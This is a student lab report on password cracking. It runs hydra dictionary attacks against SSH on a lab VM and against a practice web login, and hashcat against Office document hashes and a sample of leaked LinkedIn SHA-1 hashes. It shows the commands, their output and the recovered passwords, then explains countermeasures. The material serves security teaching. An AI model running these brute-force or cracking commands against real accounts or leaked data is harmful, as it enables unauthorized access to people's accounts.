Eshan Shende K027

Experiment 5: Password Cracking

Aim: To demonstrate password cracking in the lab environment using tools like hydra and hashcat.

Learning Outcomes:
After completion of this experiment, student should be able to

1. Explain various types of password cracking methods.
2. Demonstrate password cracking in the lab.
3. Describe countermeasures for password cracking.

Theory:

One of the task in during ethical hacking is to gain access to the system. Many systems are protected by username and password. Password cracking is the process of recovering passwords from the data transmitted by a computer system or stored in it. It may help a user recover a forgotten or lost password or act as a preventive measure by system admin to check for weak passwords. Attacker may guess the password manually by guessing it or use automated tools and techniques such as a dictionary or brute-force methods.

Procedure:
Task 1: Online Dictionary Attack using hydra on port 22

1. Start kali linux and login.
2. Start SeedUbuntu VM and login
3. Scan SeedUbuntu VM using nmap (nmap 10.0.2.4). you will find that port 21,22 and 23 are open. We will attack port 22

```
Nmap scan report for 10.0.2.5
Host is up (0.0015s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
23/tcp open  telnet
```

4. Go to Application ⟶ Password Attacks ⟶ Hydra-gtk

5. Set the target IP to 10.0.2.4 (IP of SeedUbuntu), port =22 and protocol to ssh. Also select Show attempts and Debug options.
6. Create a file (user.txt) with common username like admin, administrator, user and seed.
7. Create another file(pass.txt) with common password like 123456, password, passw0rd, p@ssword, pass@123, dees.
8. Click on password tab. Select username list and upload user.txt
9. Select password list and upload pass.txt.

10. Click on the start tab and start the attack.
11. After successful completion it will show username as seed and password as dees.

```
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-11 22:00:01
[DATA] max 16 tasks per 1 server, overall 16 tasks, 80 login tries (l:8/p:10), ~5 tries per task
[DATA] attacking ssh://10.0.2.5:22/
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to re
[22][ssh] host: 10.0.2.5   login: seed   password: dees
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-11 22:00:18
<finished>
```

Task 2: Online password cracking of a site

1. hydra -V -l istheory -P /usr/share/wordlists/rockyou.txt http-get://is.theorizeit.org/auth/
2. Note the passwords found.

```
┌──(kali㉿kali)-[~]
└─$ hydra -V -l istheory -P /home/kali/Downloads/rockyou.txt http-get://is.theorizeit.org/auth/
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-11 22:04:26
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get://is.theorizeit.org:80/auth/
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "princess" - 6 of 14344399 [child 5] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "1234567" - 7 of 14344399 [child 6] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "rockyou" - 8 of 14344399 [child 7] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "12345678" - 9 of 14344399 [child 8] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "abc123" - 10 of 14344399 [child 9] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "nicole" - 11 of 14344399 [child 10] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "daniel" - 12 of 14344399 [child 11] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "babygirl" - 13 of 14344399 [child 12] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "monkey" - 14 of 14344399 [child 13] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "lovely" - 15 of 14344399 [child 14] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "jessica" - 16 of 14344399 [child 15] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "654321" - 17 of 14344399 [child 6] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "michael" - 18 of 14344399 [child 11] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "ashley" - 19 of 14344399 [child 12] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "qwerty" - 20 of 14344399 [child 13] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "111111" - 21 of 14344399 [child 14] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "iloveu" - 22 of 14344399 [child 15] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "000000" - 23 of 14344399 [child 9] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "michelle" - 24 of 14344399 [child 6] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "tigger" - 25 of 14344399 [child 11] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "sunshine" - 26 of 14344399 [child 12] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "chocolate" - 27 of 14344399 [child 13] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "password1" - 28 of 14344399 [child 14] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "soccer" - 29 of 14344399 [child 15] (0/0)
[ATTEMPT] target is.theorizeit.org - login "istheory" - pass "anthony" - 30 of 14344399 [child 9] (0/0)
[80][http-get] host: is.theorizeit.org   login: istheory   password: 123456
[80][http-get] host: is.theorizeit.org   login: istheory   password: 123456789
[80][http-get] host: is.theorizeit.org   login: istheory   password: password
[80][http-get] host: is.theorizeit.org   login: istheory   password: iloveyou
[80][http-get] host: is.theorizeit.org   login: istheory   password: princess
[80][http-get] host: is.theorizeit.org   login: istheory   password: rockyou
[80][http-get] host: is.theorizeit.org   login: istheory   password: 12345
[80][http-get] host: is.theorizeit.org   login: istheory   password: 12345678
[80][http-get] host: is.theorizeit.org   login: istheory   password: nicole
1 of 1 target successfully completed, 9 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-11 22:04:29
```

Task 3: offline password cracking using hashcat.

1. wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/office2john.py

```
┌──(kali㉿kali)-[~]
└─$ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/office2john.py
--2025-01-31 04:37:17--  https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/office2john.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)… 185.199.109.133, 185.199.111.133, 185.199.108.133, …
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443… connected.
HTTP request sent, awaiting response… 200 OK
Length: 133905 (131K) [text/plain]
Saving to: ‘office2john.py’

office2john.py                      100%[===================================================================>] 130.77K  --.-KB/s    in 0.02s

2025-01-31 04:37:18 (7.97 MB/s) - ‘office2john.py’ saved [133905/133905]
```

2. wget https://raw.githubusercontent.com/deargle/security-assignments/master/labs/files/hashcat.doc

```
┌──(kali㉿kali)-[~]
└─$ python office2john.py hashcat.doc
hashcat.doc:$oldoffice$1*b405d2e0bef836cd538b96de63d64cfd*7c33fab607ed148ae5f2ca3ee8ca4c0b*e0e9f79eabc501653af0543e027f0cad::::hashcat.doc
```

3. python office2john.py hashcat.doc

‘$oldoffice$1*b405d2e0bef836cd538b96de63d64cfd*7c33fab607ed148ae5f2ca3ee8ca4c0b*e0e9f79eabc501653af0543e027f0cad'

4. hashcat --force -a 0 -m 9700 -o <your-output-filename> '<your-hash-string>' /usr/share/wordlists/rockyou.txt

```
┌──(kali㉿kali)-[~]
└─$ hashcat --force -a 0 -m 9700 -o brute.txt '$oldoffice$1*b405d2e0bef836cd538b96de63d64cfd*7c33fab607ed148ae5f2ca3ee8ca4c0b*e0e9f79eabc501653af0543e027f0cad' /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: cpu-penryn-13th Gen Intel(R) Core(TM) i9-13900HX, 2004/4073 MB (512 MB allocatable), 12MCU

/usr/share/hashcat/OpenCL/m09700_a0-optimized.cl: Pure kernel not found, falling back to optimized kernel
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 15

INFO: All hashes found as potfile and/or empty entries! Use --show to display them.

Started: Fri Jan 31 04:52:23 2025
Stopped: Fri Jan 31 04:52:24 2025
```

5. wget https://raw.githubusercontent.com/deargle/security-assignments/master/labs/files/john.doc

```
┌──(kali㉿kali)-[~]
└─$ hashcat --force -a 0 -m 9700 -o hashcat_cracked.txt '$oldoffice$1*16b19484f9276544547f7b94535fd9c3*4df800da560ed22757622c804763ec5e*1e53e6f37bf0f20fd4e
b2c84815df1dc' /usr/share/wordlists/rockyou.txt

hashcat (v6.2.6) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: cpu-penryn-13th Gen Intel(R) Core(TM) i9-13900HX, 2004/4073 MB (512 MB allocatable), 12MCU

/usr/share/hashcat/OpenCL/m09700_a0-optimized.cl: Pure kernel not found, falling back to optimized kernel
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 15

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Precompute-Init
* Not-Iterated
* Single-Hash
* Single-Salt
```

```
┌──(kali㉿kali)-[~]
└─$ cat hashcat_cracked.txt
$oldoffice$1*b405d2e0bef836cd538b96de63d64cfd*7c33fab607ed148ae5f2ca3ee8ca4c0b*e0e9f79eabc501653af0543e027f0cad:camp
$oldoffice$1*16b19484f9276544547f7b94535fd9c3*4df800da560ed22757622c804763ec5e*1e53e6f37bf0f20fd4eb2c84815df1dc:attica
```

6. note the password found for john.doc and hashcat.doc

hashcat --force -a 0 -m 9700 '$oldoffice$1*b405d2e0bef836cd538b96de63d64cfd*7c33fab607ed148ae5f2ca3ee8ca4c0b*e0e9f79eabc501653af0543e027f0cad' /usr/share/wordlists/rockyou.txt

7. Crack the linkedin hashes. File could be downloaded from the link given below https://raw.githubusercontent.com/deargle/security-assignments/master/labs/files/LinkedIn_HalfMillionHashes.txt

Commands:

```
1. wget https://raw.githubusercontent.com/deargle/security-assignments/
   master/labs/files/LinkedIn_HalfMillionHashes.txt

2. hashcat --force -m 100 --remove --outfile=LinkedIn_cracked.txt
   LinkedIn_HalfMillionHashes.txt /usr/share/wordlists/rockyou.txt
```

Note: in case you get certificate related error message while using wget use the option --nocheck-certificate with wget.

Acknowledgement: Task 2 and 3 are based on the labs designed by Dr Anthony Vance available at https://security-assignments.com/

```
┌──(kali㉿kali)-[~]
└─$ hashcat --force -m 100 --remove --outfile=LinkedIn_cracked.txt LinkedIn_HalfMillionHashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================
* Device #1: cpu-penryn-13th Gen Intel(R) Core(TM) i9-13900HX, 2004/4073 MB (512 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 500000 digests; 500000 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
```

```
┌──(kali㉿kali)-[~]
└─$ ls
2025-01-22-Practical3.burp  cuckoo-env  Documents  hashcat_cracked.txt  john.doc    LinkedIn_cracked.txt           Music    office2john.py  Pictures  Templates   user.txt  volatility-env
cracking-malware-workshop   Desktop     Downloads  ida-free-pc-9.0      john.doc.1  LinkedIn_HalfMillionHashes.txt odbg201  pass.txt        Public    trial.html  Videos    vscode.deb

┌──(kali㉿kali)-[~]
└─$ nano LinkedIn_cracked.txt

┌──(kali㉿kali)-[~]
└─$ cat LinkedIn_cracked.txt
7c4a8d09ca3762af61e59520943dc26494f8941b:123456
f7c3bc1d808e04732adf679965ccc34ca7ae3441:123456789
5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8:password
ee8d8728f435fd550f83852aabab5234ce1da528:iloveyou
775bb961b81da1ca49217a48e533c832c337154a:princess
20eabe5d64b0e216796e834f52d61fd0b70332fc:1234567
7c222fb2927d828af22f592134e8932480637c0d:12345678
6367c48dd193d56ea7b0baad25b19455e529f5ee:abc123
5fee00239940f883d4c2854e41c7f989e75278a3:nicole
3d0f3b9ddcacec30c4008c5e030e6c13a478cb4f:daniel
b03b74363bbb6ee42ce248c7a5344e92ffe76cc7:babygirl
ab87d24bdc7452e55738deb5f868e1f16dea5ace:monkey
de3460832ea070effabbc7032d7594bbde1bb120:lovely
99996b911567c83cce17cdf194f314975c57ddf1:jessica
dd5fef9c1c1da1394d6d34b248c51be2ad740840:654321
17b9e1c64588c7fa6419b4d29dc1f4426279ba01:michael
782f9b10621e362d5bd0def3a279b5e0908c9ebb:ashley
b1b3773a05c0ed0176787a4f1574ff0075f7521e:qwerty
3d4f2bf07dc1be38b20cd6e46949a1071f9d0e3d:111111
b78034aacf3559fffbfcb545d9a9122efb93181f:iloveu
c984aed014aec7623a54f0591da07a85fd4b762d:000000
7212a9e01329ea93a57f574bd9bf77695d5fdca4:michelle
6c616f7c2d2fde9018a09f06eaefcfc7582bc7ba:tigger
8d6e34f987851aa599257d3831a1af040886842f:sunshine
891c5feef171da85aadd3fdb8130ba509b03f5ea:chocolate
```

. What Are Online and Offline Attacks?

- **Online Attacks:** These attacks occur in real-time, where attackers attempt to gain unauthorized access by guessing passwords through authentication services such as SSH, RDP, or web login portals. A common example is **credential stuffing**, where attackers use previously leaked username-password pairs to attempt logins.
- **Offline Attacks:** These involve attackers working with stolen hashed passwords, attempting to crack them without direct interaction with authentication services. Since there are no login restrictions or lockout policies, attackers can use advanced tools like **Hashcat** to brute-force or decrypt password hashes.

2. What is a Dictionary Attack?

A **dictionary attack** is a password-cracking technique where attackers attempt to guess a password using a predefined list of commonly used passwords or phrases. This method is particularly effective against weak, predictable passwords but is significantly less successful against strong, complex passwords that do not appear in common password lists.

3. What is a Brute Force Attack?
A **brute force attack** is a method where attackers systematically try every possible combination of letters, numbers, and symbols until the correct password is found. Unlike dictionary attacks, brute force attacks do not rely on predefined wordlists and instead explore all possible variations. While this method is exhaustive and time-consuming, it remains effective against **short or weak passwords** that lack complexity.

4. How is Password Management Handled in Windows Systems?
Windows systems store and manage passwords using several security mechanisms:

- **Security Account Manager (SAM):** Stores user password hashes securely.
- **Authentication Protocols:** Uses **NTLM (New Technology LAN Manager)** and **Kerberos** for authentication.
- **Password Policies via Group Policy (GPO):** Administrators can enforce password complexity, expiration, and lockout settings.
- **Local Administrator Password Solution (LAPS):** A Microsoft tool that enhances security by managing and rotating local administrator passwords securely.

5. How is Password Management Handled in Linux Systems?
Linux systems use various security mechanisms to manage passwords securely:

- **Password Storage:** User passwords are stored as hashed values in **/etc/shadow** for protection.
- **Authentication Management:** Utilizes **PAM (Pluggable Authentication Module)** to define authentication policies and enforce security rules.
- **Password Aging Policies:** Commands like **chage** allow administrators to set password expiration and enforce regular password changes.
- **Security Tools:** Utilities like **passwd, faillock, and pam_tally2** help prevent brute-force attacks and enforce authentication restrictions.

6. What Are Some Countermeasures Against Password Cracking?
To protect against password-cracking attempts, organizations and users can implement several security measures:

- **Use Strong, Complex Passwords:** Ensure passwords are long and include a mix of uppercase and lowercase letters, numbers, and special characters.
- **Enable Multi-Factor Authentication (MFA):** Adds an extra layer of security by requiring a second verification step, such as a mobile OTP or biometric authentication.
- **Implement Account Lockout Policies:** Temporarily lock user accounts after a certain number of failed login attempts to prevent automated brute-force attacks.
- **Secure Password Storage:** Hash passwords using strong, salted hashing algorithms like **bcrypt, PBKDF2, or Argon2** to make cracking significantly harder.
- **Monitor and Audit Login Activities:** Regularly review login attempts and system logs for any suspicious activities.
- **Deploy Intrusion Detection and Prevention Systems (IDS/IPS):** Use security tools to detect and block unauthorized access attempts proactively.